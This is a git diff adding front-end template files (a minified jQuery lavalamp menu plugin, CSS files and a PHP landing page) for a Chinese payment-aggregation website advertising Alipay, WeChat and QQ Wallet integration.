o=t.margins,s=t.setOnClick,m=t.activeObj,r=t.autoUpdate,p=t.updateTime,u=t.enableHover,v=t.delayOn,c=t.delayOff,d=t.enableFocus,f=t.deepFocus,h=t.duration,g=t.easing,b=a(this),T=b.children(),y=b.children(m);0===y.length&&(y=T.eq(0)),b.addClass("lavalamp").data({lavalampActive:y,isAnim:!1,settings:t});var A=a('
                                  ').prependTo(b);T.addClass("lavalamp-item"),A.css({WebkitTransitionDuration:h/1e3+"s",msTransitionDuration:h/1e3+"s",MozTransitionDuration:h/1e3+"s",OTransitionDuration:h/1e3+"s",transitionDuration:h/1e3+"s"});var j=y.outerWidth(o),I=y.outerHeight(o),O=y.position().top,C=y.position().left,x=y.css("marginTop"),D=y.css("marginLeft");o||(D=parseInt(D),x=parseInt(x),C+=D,O+=x),A.css({width:j,height:I,transform:"translate("+C+"px,"+O+"px)"});var F=!1,H=!0;if(e=function(){var t=a(this);F=!0,setTimeout(function(){F&&H&&b.lavalamp("anim",t)},v)},i=function(a){a=b.data("lavalampActive"),F=!1,setTimeout(function(){!F&&H&&b.lavalamp("anim",a)},c)},n=function(){var t=a(this);t.hasClass("lavalamp-item")||(t=t.parents(".lavalamp-item")),H=!1,setTimeout(function(){b.lavalamp("anim",t)},v)},l=function(){H=!0;var a=b.data("lavalampActive");setTimeout(function(){b.lavalamp("anim",a)},c)},u&&(b.on("mouseenter",".lavalamp-item",e),b.on("mouseleave",".lavalamp-item",i)),d&&(b.on("focusin",".lavalamp-item",n),b.on("focusout",".lavalamp-item",l)),f&&(b.on("focusin",".lavalamp-item *",n),b.on("focusout",".lavalamp-item *",l)),s&&T.click(function(){y=a(this),b.data("lavalampActive",y).lavalamp("update")}),r){var k=setInterval(function(){var a=b.data("isAnim");F||a||b.lavalamp("update")},p);b.data("updateInterval",k)}})},destroy:function(){return this.each(function(){var t=a(this),o=t.data("settings"),s=t.children(".lavalamp-item"),m=o.enableHover,r=o.enableFocus,p=o.deepFocus,u=o.autoUpdate;if(m&&(t.off("mouseenter",".lavalamp-item",e),t.off("mouseleave",".lavalamp-item",i)),r&&(t.off("focusin",".lavalamp-item",n),t.off("focusout",".lavalamp-item",l)),p&&(t.off("focusin",".lavalamp-item *",n),t.off("focusout",".lavalamp-item *",l)),t.removeClass("lavalamp"),s.removeClass("lavalamp-item"),u){var v=t.data("updateInterval");clearInterval(v)}t.children(".lavalamp-object").remove(),t.removeData()})},update:function(){return this.each(function(){var t=a(this),e=t.children(":not(.lavalamp-object)"),i=t.data("lavalampActive");e.addClass("lavalamp-item").css({zIndex:5,position:"relative"}),t.lavalamp("anim",i)})},anim:function(a){var t=this,e=t.data("settings"),i=e.duration,n=e.margins,l=t.children(".lavalamp-object"),o=a.outerWidth(n),s=a.outerHeight(n),m=a.position().top,r=a.position().left,p=a.css("marginTop"),u=a.css("marginLeft");n||(u=parseInt(u),p=parseInt(p),r+=u,m+=p),t.data("isAnim",!0),l.css({width:o,height:s,transform:"translate("+r+"px,"+m+"px)"}),setTimeout(function(){t.data("isAnim",!1)},i)}};a.fn.lavalamp=function(e){return t[e]?t[e].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof e&&e?void a.error("Method "+e+" does not exist on jQuery.lavalamp"):t.init.apply(this,arguments)};var e,i,n,l}(jQuery); \ No newline at end of file diff --git a/template/index4/index.php b/template/index4/index.php new file mode 100644 index 0000000..89a8410 --- /dev/null +++ b/template/index4/index.php @@ -0,0 +1,368 @@ + + + + + + + + <?php echo $conf['title']?> + + + + + + + + + +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  +

                                  -我们专注的每一面,都是为了给你更好的体验

                                  +

                                  平台,以信誉求市场,以稳定求发展,行业内最安全,简单易用,专业的技术团队,最放心的免签约支付平台。

                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  数据统计
                                  +

                                  后台数据详尽直观,轻松管理查看交易数据统计分析各阶段数据占比。

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  快捷支付
                                  +

                                  节省支付模块系统开发及维护成本,解决技术难点。

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  系统安全
                                  +

                                  安全稳定的系统保障和专业的技术团队支持。

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  方便快捷
                                  +

                                  一个操作平台,聚合多种交易渠道。

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + + + +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  你凭什么选择我们?

                                  +

                                  + 提供多种支付接入方式,方便,简单,快捷,快速集成到,效率高,见效快,费率低。支持全球三大主流结算币种,多元化产品为你提供一站式支付服务。无假期,无账期,365天随时随地提现。 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  云支付

                                  +

                                  支持支付宝、微信、QQ钱包等主流支付渠道,让您拥有PC网页支付、扫码支付、移动HTML5支付。

                                  +
                                  + 支付宝 + 微信 + QQ +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  云钱包

                                  +

                                  您的企业网站可以通过为用户提供统一虚拟账户,提升用户支付体验,为拓展增值服务提供基础。

                                  +
                                  + 资金统计 + 订单明细 + 渠道明细 +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  云结算

                                  +

                                  通过简单的页面配置,可以替代复杂繁琐的人工资金结算业务,提高业务实时性,降低错误。

                                  +
                                  + 支付宝 + 微信支付 + QQ钱包 +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +

                                  聚合钱包,融合支付

                                  +

                                  通过简单的页面配置,可以替代复杂繁琐的人工资金结算业务,提高业务实时性,降低错误。

                                  +
                                    +
                                  • +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    +

                                    长期稳定支付通道

                                    +
                                    +
                                    +
                                  • +
                                  • +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    +

                                    方便快捷账号管理

                                    +
                                    +
                                    +
                                  • +
                                  • +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    +

                                    高效实时监控订单

                                    +
                                    +
                                    +
                                  • +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +

                                  高效技术服务

                                  +

                                  我们提供7X24小时在线服务,对日交易高额用户提供贵宾服务!用最具影响力品牌协助,并全力协助新兴品牌,我们以设计助力众多品牌走向行业领先地位,鼎力相助每一个梦想。

                                  + 联系客服 +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +

                                  快速资金回笼

                                  +

                                  一次轻松接入所有支付(QQ钱包,支付宝,微信),省时省心省力, 结算费率低,利润高!对接费率超低,比其它平台更便宜.全天监视订单 和资金安全,正规支付接口!

                                  + 了解更多... +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  展望未来

                                  +

                                  + “我们趋行在人生这个亘古的旅途,在坎坷中奔跑,在挫折里涅槃,忧愁缠满全身,痛苦飘洒一地。我们累,却无从止歇;我们苦,却无法回避。” +

                                  + +
                                  +
                                  + +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  + + + + + + + + + \ No newline at end of file diff --git a/template/index4/preview.png b/template/index4/preview.png new file mode 100644 index 0000000..e504164 Binary files /dev/null and b/template/index4/preview.png differ diff --git a/template/index5/assets/css/iconfont.css b/template/index5/assets/css/iconfont.css new file mode 100644 index 0000000..dd0c43c --- /dev/null +++ b/template/index5/assets/css/iconfont.css @@ -0,0 +1 @@ + @font-face{font-family:iconfont;src:url(../fonts/iconfont.eot);src:url(../fonts/iconfont.eot) format('embedded-opentype'),url(../fonts/iconfont.ttf) format('truetype'),url(../fonts/iconfont.svg) format('svg')}.iconfont{font-family:iconfont!important;font-size:16px;font-style:normal;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-html5:before{content:"\e600"}.icon-msnui-telephone:before{content:"\e622"}.icon-fasongxinxi:before{content:"\e6d3"}.icon-htmal5icon05:before{content:"\e621"}.icon-socialjavascript:before{content:"\e90a"}.icon-dizhi:before{content:"\e61f"}.icon-languagephp:before{content:"\e914"}.icon-shangdian:before{content:"\e67a"}.icon-phone6dianhua:before{content:"\e679"}.icon-anquanbaozhang1:before{content:"\e61c"}.icon-jiantou8:before{content:"\e60a"}.icon-jiaoyijilu:before{content:"\e636"}.icon-zhifu:before{content:"\e615"}.icon-erweima:before{content:"\e605"}.icon-xuanzhongzhuangtai:before{content:"\e61d"}.icon-qq:before{content:"\e6a1"}.icon-shang:before{content:"\e62e"}.icon-you:before{content:"\e68c"}.icon-zuo:before{content:"\e68f"}.icon-xuanze:before{content:"\e60b"}.icon-renwuguanli:before{content:"\e657"}.icon-wenjian:before{content:"\e68a"}.icon-python:before{content:"\e664"}.icon-qian:before{content:"\e60d"}.icon-qianbao:before{content:"\e61e"}.icon-fukuantongzhi:before{content:"\e60c"}.icon-qianshouguanhuai:before{content:"\e612"}.icon-Automaticdelivery:before{content:"\e6f7"}.icon-liaotian:before{content:"\eee9"}.icon--net-:before{content:"\e601"} \ No newline at end of file diff --git a/template/index5/assets/css/qietu.css b/template/index5/assets/css/qietu.css new file mode 100644 index 0000000..155e1e4 --- /dev/null +++ b/template/index5/assets/css/qietu.css @@ -0,0 +1 @@ + html{-webkit-text-size-adjust:none}body{color:#000;font-family:Verdana,Arial,Helvetica,sans-serif}a{outline:0;text-decoration:none}a:hover{text-decoration:underline}html{zoom:1}html *{outline:0;zoom:1}html button::-moz-focus-inner{border-color:transparent!important}body{overflow-x:hidden;font-size:12px}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{margin:0;padding:0}table{}fieldset,a img{border:0}address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:400}li{list-style:none}caption,th{text-align:left}h1,h2,h3,h4,h5,h6{font-size:100%;font-weight:400}q:before,q:after{content:''}input[type=submit],input[type=reset],input[type=button],button{-webkit-appearance:none}em,i{font-style:normal}.clearfix:after{content:".";display:block;height:0;clear:both;visibility:hidden}.clearfix{display:block}.clear{clear:both}.colwrapper{overflow:hidden;zoom:1;margin:5px auto}.strong{font-weight:700}.left{float:left}.right{float:right}.center{margin:0 auto;text-align:center}.show{display:block;visibility:visible}.hide{display:none;visibility:hidden}.block{display:block}.inline{display:inline}.break{word-wrap:break-word;overflow:hidden}.tal{text-align:left}.tar{text-align:right}.justify{text-align:justify;text-justify:distribute-all-lines;text-align-last:justify;-moz-text-align-last:justify;-webkit-text-align-last:justify}.toe{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}@media screen and (-webkit-min-device-pixel-ratio:0){.justify:after{content:".";display:inline-block;width:100%;overflow:hidden;height:0}}a{color:#5d5d5e}a:hover{-webkit-transition:all .5s;-moz-transition:all .5s;transition:all .5s}body{font-family:microsoft yahei,sans-serif}.css3{-webkit-transform:translate3d(0,-20px,0);-ms-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,transform;-webkit-transition-duration:1000ms;transition-duration:1000ms;-webkit-transition-timing-function:cubic-bezier(.25,.46,.33,.98);transition-timing-function:cubic-bezier(.25,.46,.33,.98);-webkit-transition-delay:800ms;transition-delay:800ms}.css3.animated{-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}@media screen and (max-width:650px){}@media screen and (max-width:480px){}body{font-family:Microsoft Yahei,Helvetica,Neue,Helvetica,Arial,sans-serif;-webkit-text-size-adjust:100%;-webkit-overflow-scrolling:touch;overflow-scrolling:touch} \ No newline at end of file diff --git a/template/index5/assets/css/responsive.css b/template/index5/assets/css/responsive.css new file mode 100644 index 0000000..08a258f --- /dev/null +++ b/template/index5/assets/css/responsive.css @@ -0,0 +1 @@ +*{margin:0;padding:0;-webkit-appearance:none;box-sizing:border-box}html,body{overflow-x:hidden;background-color:#fff}@media only screen and (max-width:1210px){html,body{font-size:12px}img{max-width:100%}.wrapper{margin:0 3%;width:auto}.header{height:65px}.header .logo{}.bj-3d7bf8{padding-bottom:80px}.header .logo img{}.header .btns{position:relative;margin-top:0;text-align:center}.header .btns ul{text-align:center}.header .btns li{float:none;display:inline-block;margin-left:0;text-align:center;padding:10px 0}.header .nav-wrap{position:absolute;left:0;right:0;top:65px;background:#3e7af8;z-index:9;display:none;box-shadow:0 5px 15px 0 rgba(41,59,236,.6)}.header .nav{float:none;line-height:50px;margin-right:0}.header .nav li{display:block;width:100%;float:none;text-align:center;font-size:16px;padding:0;margin-left:0;border-bottom:1px dashed rgba(255,255,255,.3)}.header .nav .on strong:before{display:none}.header .nav dl{width:100%;position:relative;top:0}.gh{float:right;height:25px;width:23px;margin-right:5px;margin-top:20px;position:relative;transition:all .5s cubic-bezier(.7,0,.3,1) 0s;-webkit-transition:all .5s cubic-bezier(.7,0,.3,1) 0s;-ms-transition:all .5s cubic-bezier(.7,0,.3,1) 0s;cursor:pointer}.gh.selected{transform:rotate(90deg)}.gh a{background-color:#fff;display:block;height:3px;margin-top:-1px;position:relative;top:50%;transition:all .3s cubic-bezier(.7,0,.3,1) 0s;-webkit-transition:all .3s cubic-bezier(.7,0,.3,1) 0s;-ms-transition:all .3s cubic-bezier(.7,0,.3,1) 0s;width:100%;border-radius:3px}.gh a:after,.gh a:before{background-color:#fff;content:"";display:block;height:3px;left:0;position:absolute;transition:all .3s cubic-bezier(.7,0,.3,1) 0s;-webkit-transition:all .3s cubic-bezier(.7,0,.3,1) 0s;-ms-transition:all .3s cubic-bezier(.7,0,.3,1) 0s;width:100%;border-radius:3px}.gh a:after{top:9px}.gh a:before{top:-8px}.gh.selected a:after,.gh.selected a:before{top:0}.gh.selected a:before{transform:translateY(0px) rotate(-45deg);-webkit-transform:translateY(0px) rotate(-45deg);-ms-transform:translateY(0px) rotate(-45deg)}.gh.selected a:after{transform:translateY(0px) rotate(45deg);-webkit-transform:translateY(0px) rotate(45deg);-ms-transform:translateY(0px) rotate(45deg)}.gh.selected a{background-color:transparent!important}.sidebar{right:10px}.hbanner{position:relative;height:500px}.g-txt{float:none;padding:0 3%;position:relative;z-index:1;width:auto;text-align:center;padding-top:130px}.g-txt h2{text-align:center;line-height:1.2;padding-left:0;font-size:24px;position:relative}.g-txt h2:after{position:absolute;left:50%;margin-left:-25px;bottom:-20px;content:"";width:50px;height:2px;background-color:#47e7c4}.g-txt h2 font{line-height:1.3;font-size:24px}.g-txt h2:before{display:none}.g-txt p{text-align:center;font-size:16px;padding-top:40px;max-width:420px;margin:0 auto;opacity:.8;line-height:1.6}.g-home-btn{margin-top:50px;font-size:18px;width:180px;height:45px;line-height:45px}.g-img{float:none;padding-top:0;position:absolute;left:0;right:0;text-align:center;bottom:0}.g-img img{opacity:.4}.hnav{margin-top:0}.hnav .wrapper{margin:0}.hnav li{width:33.33%;text-align:center;border-right:0;position:relative}.hnav li:after{position:absolute;right:0;top:0;content:"";width:1px;height:30px;background-color:#f1f1f1}.hnav li:last-child:after{display:none}.hnav li .img{float:none;padding:0}.hnav li .img img{width:45px}.hnav li .txt{float:none;max-width:160px;display:inline-block}.hnav li .txt h2{font-size:16px}.hnav li .txt br{display:none}.hnav li .txt p{font-size:12px;padding-top:10px;margin:0 10px;line-height:1.6}.g-hd h2{font-size:20px}.about-hd h2:before{height:25px;margin-right:20px}.g-hd p{font-size:15px;letter-spacing:1px;line-height:1.3}.hhelp,.hpro,.pay{padding:40px 0}.hhelp-bd,.hpro-bd,.pay-bd{margin-top:30px}.hnav{position:relative;z-index:2}.hhelp{background:#fff}.hhelp-bd ul{height:auto;overflow:hidden}.hhelp-bd .txt h2{font-size:15px}.hhelp-bd .txt h4{padding-top:5px;font-size:12px}.hhelp-bd li{width:33.33%;margin-bottom:10px;display:none}.hhelp-bd li.s{display:block}.hhelp-bd li img{width:70px}.hpro-bd ul{height:auto;overflow:hidden}.hpro-bd li{width:47%;margin:0 1%;margin-bottom:2%;height:220px}.hpro-bd li .img{margin-top:18px}.hpro-bd li .img img{width:60px}.hpro-bd li .txt h2{font-size:16px;padding:10px 0 30px}.hpro-bd .txt:before{top:50%;width:40px;margin-left:-20px;height:1px}.hpro-bd li .txt h4{font-size:14px;line-height:1.5}.pay .pay-txt{max-width:420px;margin:30px auto 0;font-size:16px;line-height:1.5}.pay .pay-txt br{display:none}.pay li{width:47%;margin:0 1%;margin-bottom:15px;padding:20px 0 18px}.pay li .img img{width:75px}.pay li .txt{font-size:14px}.g-btn{height:45px;line-height:45px;font-size:16px}.hview{padding:50px 0}.line-27,.pro-sys-r .txt h2{font-size:18px}.line-27:before{height:20px;vertical-align:-2px}.hview .img{width:63%}.hview.even .img{margin-right:-30%}.hview.odd .img{margin-left:-30%;text-align:right}.hview-txt{width:60%}.hview-txt ul{margin-top:25px}.hview-txt li{position:relative;padding-left:30px;font-size:14px;line-height:1.8;margin-bottom:15px}.hview-txt li br{display:none}.hview-txt li .icon-xuanzhongzhuangtai{position:absolute;left:0;top:0;margin-top:-4px;font-size:18px}.btn-zx,.btn-jr{width:150px;display:block;margin:0 auto;margin-top:10px}.hstart{padding:40px 0}.hpartner{height:auto;padding-bottom:40px}.hpart-hd{padding-top:40px}.hpart-bd{margin-top:30px}.hpart-list li{width:auto}.hstart-txt{padding-left:20px}.hstart-txt h2{font-size:18px}.hstart-txt:before{width:3px;height:30px;margin-top:-15px}.hstart-txt p{font-size:12px;line-height:1.4}.hstart-btn{position:relative;top:0;right:0;margin-top:0;margin-top:35px;text-align:center}.hstart-btn a{height:45px;width:200px;line-height:45px}.hpart-prev,.hpart-next{display:none}.hpart-list:before{width:90%;margin-left:-45%;height:50px;bottom:-15px}.hpart-list .hpart-list-item dl{padding:20px;height:auto}.footer{font-size:14px;padding-top:20px}.footer dl{display:none}.footer dt{font-size:16px}.footer .s{float:left;display:block}.footer dl:first-child{width:auto}.footer .iconfont{margin-right:5px}.footer .s:last-child{float:right}.faq-view{height:360px}.faq-srch{margin-top:80px}.faq-srch .txt{width:720px;box-sizing:border-box;height:50px;line-height:50px;font-size:16px;padding-left:15px}.faq-srch .btn{height:50px;line-height:50px}.faq-nav{margin-top:110px}.faq-nav li a{font-size:16px}.faq-nav li.on a:before{height:1px}.faq-list{padding:30px 0 0}.faq-list dl{margin-bottom:20px;box-sizing:border-box}.faq-list dt{margin-bottom:10px;font-size:18px}.faq-list dl:before{height:16px;top:8px}.faq-list dd a{font-size:14px;line-height:1.5}.faq-chat{padding-top:50px;padding-bottom:50px}.faq-chat h2{font-size:20px}.faq-chat h4{font-size:18px;margin-top:8px}.g-btn-2{width:200px;height:45px;line-height:45px;font-size:18px;margin-top:30px}.faqd-hd{padding-top:30px}.faqd-bd{margin-top:30px;font-size:14px;padding:0 10px}.faqd-bd img{margin-top:20px}.probanner{position:relative;height:500px}.g-img{font-size:0;overflow:hidden}.g-img img{position:relative;margin-bottom:-16%}.probanner-r{margin-left:0;display:none}.probanner-r img{width:300px}.pro-pay,.pro-sys,.pro-df,.pro-qr,.about,.contact,.channel,.traffic,.sdk,.login1{padding:40px 0}.pro-pay .wrapper{margin:0}.pro-bd,.pro-sys .pro-txt{margin-top:30px}.pro-pay-l{width:40%;margin-left:-50px;text-align:right;box-sizing:border-box;margin-top:0}.pro-pay-r{width:60%}.g-describe{margin-top:20px;font-size:14px;line-height:1.5}.g-describe br{display:none}.pro-pay-r ul{margin-top:30px}.pro-pay-r li{width:20%}.pro-pay-r li img{width:80px}.pro-pay-r li span{margin-top:8px;font-size:14px}.pro-sys .pro-txt{font-size:14px;line-height:1.5;max-width:600px;margin-left:auto;margin-right:auto}.pro-sys .pro-txt br{display:none}.pro-sys-l,.pro-sys-r{float:none;width:auto}.pro-sys-l li{width:20%;float:left;text-align:center}.pro-sys-l li a{display:block;width:auto;font-size:16px;line-height:1.2;padding:15px 0;height:auto}.pro-sys-l li i{display:block;margin-right:0}.pro-sys-r{padding:30px 10px;height:auto}.pro-sys-r .img{margin-top:0}.pro-sys-r .img img{}.pro-sys-r .txt{padding:0 10px;width:60%;float:left}.pro-sys-r .txt p{font-size:14px;line-height:1.5}.pro-sys-r .btn{position:relative;right:0;bottom:0;margin-top:20px}.pro-df-l{width:60%}.pro-df-l .btn,.pro-qr-l .btn{margin-top:20px;margin-left:auto;margin-right:auto}.pro-df-r,.odd .pro-qr-r{width:40%}.pro-qr-r{padding-left:0}.pro-qr-l{margin-top:50px;width:60%}.login-hd h2{font-size:20px}.login-btn .btn{font-size:16px}.about-bd{font-size:14px;line-height:1.5;margin-top:20px}.contact-bd{padding:30px 0;text-align:center}.contact-bd ul,.channel-bd{margin-top:20px}.contact-bd li,.g-bd .txt p{font-size:16px}.contact-bd .txt{display:inline-block;float:none;text-align:left}.contact-bd .img{margin-left:50px;margin-top:0;display:inline-block;float:none}.channel-bd .img,.traffic-bd .img{width:40%}.channel-bd .txt,.traffic-bd .txt{width:55%;margin-left:5%}.traffic-bd .txt{margin-left:0;margin-right:5%;margin-top:20px}.g-bd .txt p{padding-left:0}.g-bd .btn{margin-top:30px}.contact-bd li,.g-bd .txt p{font-size:14px}.contact-bd li{padding-left:120px;line-height:1.5}.contact-bd span{line-height:1.5;vertical-align:top;margin-top:-6px}.contact-bd i{margin-right:15px}.docs-nav,.guide-l{width:200px}.docs-nav li a,.guide-l li a{height:45px;line-height:45px;font-size:18px}.docs-main,.guide-r{width:calc(100% - 220px)}.docs-hd,.guide-rhd{font-size:18px;padding-bottom:10px}.docs-bd{font-size:14px;line-height:1.5;padding:15px 0}.guide-rbd{padding:20px 0}.guide-rbd p{font-size:14px;line-height:1.5;margin-bottom:15px}.demo{padding:50px 0;text-align:center}.demo-txt h2:before{display:none}.demo-txt,.demo-img,.demo2 .demo-img{float:none;width:auto}.demo1 .demo-img{padding-top:20px}.demo1 .demo-img,.demo2 .demo-img{padding-right:0}.demo-txt h2{font-size:22px}.demo-txt p{margin-top:10px;font-size:16px}.demo2 .btn{width:200px;height:45px;line-height:45px;margin-top:30px}.banner h2{font-size:26px}.banner p{letter-spacing:5px}.sdk ul{margin-right:0}.sdk li{width:29%;box-sizing:border-box;margin:0 2%;margin-bottom:45px;text-align:center;height:145px}.sdk .txt{padding-left:0;display:inline-block;font-size:18px}.sdk .img{position:relative;top:0;right:0;display:inline-block;vertical-align:middle;margin-left:10px;width:70px}.sdk .btn{margin-left:-50px}.sdk .btn a{width:100px;height:45px;line-height:45px;font-size:18px}.guide-nv{height:auto;line-height:normal;overflow:hidden;border-width:1px}.guide-nv a{width:auto;padding:0 30px;font-size:18px;height:40px;line-height:40px}.login-hd p{padding:20px 0 30px}.gtpwd-img img{width:80px}.gtpwd-txt h2{padding-top:25px;padding-bottom:40px;font-size:20px}.gtpwd-txt p{padding-bottom:50px;font-size:16px}}@media only screen and (max-width:768px){.hview.even .img,.hview.odd .img,.pro-pay-l{margin-right:0;width:auto;float:none;text-align:center;margin-left:0}.hview.even .img img,.hview.odd .img img,.pro-pay-l img{width:80%}.hview-txt,.pro-pay-r{float:none;width:auto;margin-top:25px}.pro-pay-r{margin-left:3%;margin-right:3%}.faq-srch{width:100%}.faq-srch .txt{width:100%}.faq-nav{margin-top:60px}.faq-nav li{width:33.33%;padding:10px 0}.faq-list dl{margin-bottom:20px;float:none;width:auto}.probanner-r img{width:200px}.pro-pay-r li{width:25%}.pro-pay-r li span{font-size:12px}.pro-sys-l li a{font-size:12px}.pro-sys-l li i{font-size:24px}.pro-df-r,.odd .pro-qr-r,.pro-df-l,.pro-qr-l{width:auto;float:none}.pro-df-r,.odd .pro-qr-r{width:80%;margin:0 auto}.pro-qr-l{margin-top:10px}.login2{padding:40px 0}.login-wp{padding:30px;margin:0 3%;display:block}.login-bd{height:auto;overflow:hidden;margin-top:10px}.login2 .txt,.login1 .txt{width:100%;box-sizing:border-box;height:45px;line-height:45px;margin-top:5px;font-size:14px;-webkit-appearance:none;border-radius:0;appearance:none}.login2 .txt-gt{margin-bottom:60px}.gtpwd{height:65px;line-height:65px}.gtpwd-l>label{height:75px}.login-bd li{position:relative}.login-bd img{position:absolute;right:0;margin-top:10px;height:45px}.login-bd p{padding:20px 0 0}.login-btn{}.login-btn .btn{width:90%;height:40px;line-height:40px;margin-bottom:30px;box-shadow:0 9px 10px 0 rgba(41,59,236,.3)}.contact-bd .txt{display:block;float:none}.contact-bd .img{margin-left:0;margin-top:30px}.contact-bd .img img{width:200px}.channel-bd .img,.traffic-bd .img,.channel-bd .txt,.traffic-bd .txt{float:none;width:auto;margin:0}.channel-bd .img,.traffic-bd .img{width:80%;margin:30px auto 0}.g-bd .btn{width:200px;display:block;margin-left:auto;margin-right:auto}.docs-nav,.guide-l{width:auto;float:none;margin-bottom:0}.docs-nav li,.guide-l li{display:block;width:33%;float:left;margin-bottom:0}.docs-nav li a,.guide-l li a{font-size:12px}.docs-main,.guide-r{float:none;width:auto}.guide-rhd{padding-top:15px}.sdk li{width:46%;height:135px}.sdk .txt{display:block;padding-top:20px}.sdk .img{margin-left:0;margin-top:10px;text-align:center}.guide-nv a{font-size:16px}.pro-df-l{margin-bottom:30px}.banner{height:255px}.sdk .btn{bottom:-18px}.sdk .btn a{height:40px;line-height:40px;font-size:16px}.pro-sys-r .img img{width:80%}.pro-sys-r .txt{float:none;width:auto;margin-top:0}.pro-sys-r .txt p br{display:none}.pro-sys-r .btn{text-align:center}.pro-df-l .btn,.pro-qr-l .btn{display:block}.line-27,.pro-sys-r .txt h2{font-size:16px}.line-27:before{vertical-align:-5px}} \ No newline at end of file diff --git a/template/index5/assets/css/style.css b/template/index5/assets/css/style.css new file mode 100644 index 0000000..f9fa321 --- /dev/null +++ b/template/index5/assets/css/style.css @@ -0,0 +1 @@ +body,input,button,textarea,select{font-size:16px;line-height:1.75;color:#4a5875}a:hover{text-decoration:none}ul{overflow:hidden}.clear:after{content:'.';display:block;height:0;clear:both;visibility:hidden}.wrapper{width:1200px;margin:0 auto}.header{height:80px;color:#fff;font-size:16px;background:0 0;position:relative;z-index:11}.header a{color:#fff}.header .wrapper{height:auto}.header .logo{float:left;min-width:167px;block;height: 80px;line-height: 69px;font-size: 25px;}.header .logo img{width:167px}.header .nav-wrap{float:right;position:relative}.header .nav{float:right;line-height:80px;margin-right:197px}.header .nav ul{overflow:visible}.header .nav li{float:left;margin-left:10px;position:relative;padding:0 20px;cursor:pointer}.header .nav dl{display:none;position:absolute;left:0;top:80px;background:#fff;border-radius:5px;width:145px;text-align:center;padding:15px 0;box-shadow:rgba(0,0,0,.1) 0 5px 5px;z-index:11}.header dl a{color:#485774}.header dd{height:50px;line-height:50px}.header dd a{display:block}.header dd a{font-size:14px}.header dd:hover{background:#eee}.header .nav li strong{position:relative;font-weight:400}.header .nav .on strong a{color:#00ffde}.header .btns .on a{color:#00ffde;border-color:#00ffde}.header .nav .on i{color:#00ffde}.header .nav .on strong:before{content:'';position:absolute;left:0;right:0;bottom:-10px;height:2px;background:#00ffde}.header .nav li:hover dl{display:block}.header .nav li.on dl{}.header .nav i{padding-left:10px;font-size:14px}.header .btns{margin-top:20px;line-height:38px;position:absolute;right:0;top:0}.header .btns li{float:left;margin-left:10px;cursor:pointer}.header .btns a{display:inline-block;width:88px;height:38px;text-align:center;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:35px;background:#fff;color:#000}.header .reg a{border:#fff solid 1px}.header .reg:hover a{background:#fff;color:#3e7bf8}.banner{margin-top:-80px;height:280px;background:url(../images/banner-3.jpg) no-repeat center #4481f6;text-align:center;color:#fff;font-size:18px}.banner h2{padding-top:120px;font-size:30px}.banner p{letter-spacing:10px;font-size:16px}.guide-nv{border-bottom:#dcdcdc solid 2px;height:80px;line-height:80px;margin-top:20px;font-size:24px;color:#4a5875}.guide-nv li{float:left}.guide-nv a{width:235px;display:inline-block;border-bottom:transparent solid 2px;text-align:center;height:78px;line-height:80px;font-size:18px}.guide-nv li.on a{border-bottom-color:#6e94ff}.guide-mn{height:auto;overflow:hidden}.guide-l{width:235px;float:left;padding-top:30px}.guide-l li{margin-bottom:15px}.guide-l a{display:block;height:65px;color:#4a5875;font-size:18px;text-align:center;border-radius:5px;line-height:65px}.guide-l li a:hover{background-color:#eee}.guide-l li.on a{background:#6e94ff;color:#fff}.guide-r{width:900px;float:right}.guide-rhd{border-bottom:#dcdcdc solid 1px;padding:30px 0 20px;font-size:20px;color:#4a5875}.guide-rbd{font-size:18px;line-height:52px;padding:30px 0}.guide-rbd p{margin-bottom:60px;font-size:14px}.guide-rbd a{color:#6e94ff;margin-right:20px}.footer{padding:40px 0 30px;background:#394f7e;color:#fff;height:auto;overflow:hidden;font-size:16px}.footer a{color:#d7e2ff}.footer a:hover{color:#fff}.footer .iconfont{margin-right:20px}.footer dl{float:left;width:260px}.footer dl:first-child{width:310px}.footer dl:last-child{width:auto}.footer dt{font-size:16px;border-bottom:#a8b6d9 solid 1px;display:inline-block;padding-bottom:5px;margin-bottom:10px}.footer dd{margin-top:10px}.footer dd a{font-size:12px}.copyright{background:#2f4471;color:#fff;padding:15px 0;text-align:center;font-size:12px}.hbanner{margin-top:-80px;width:100%;height:650px;background:url(../images/banner.jpg) no-repeat center 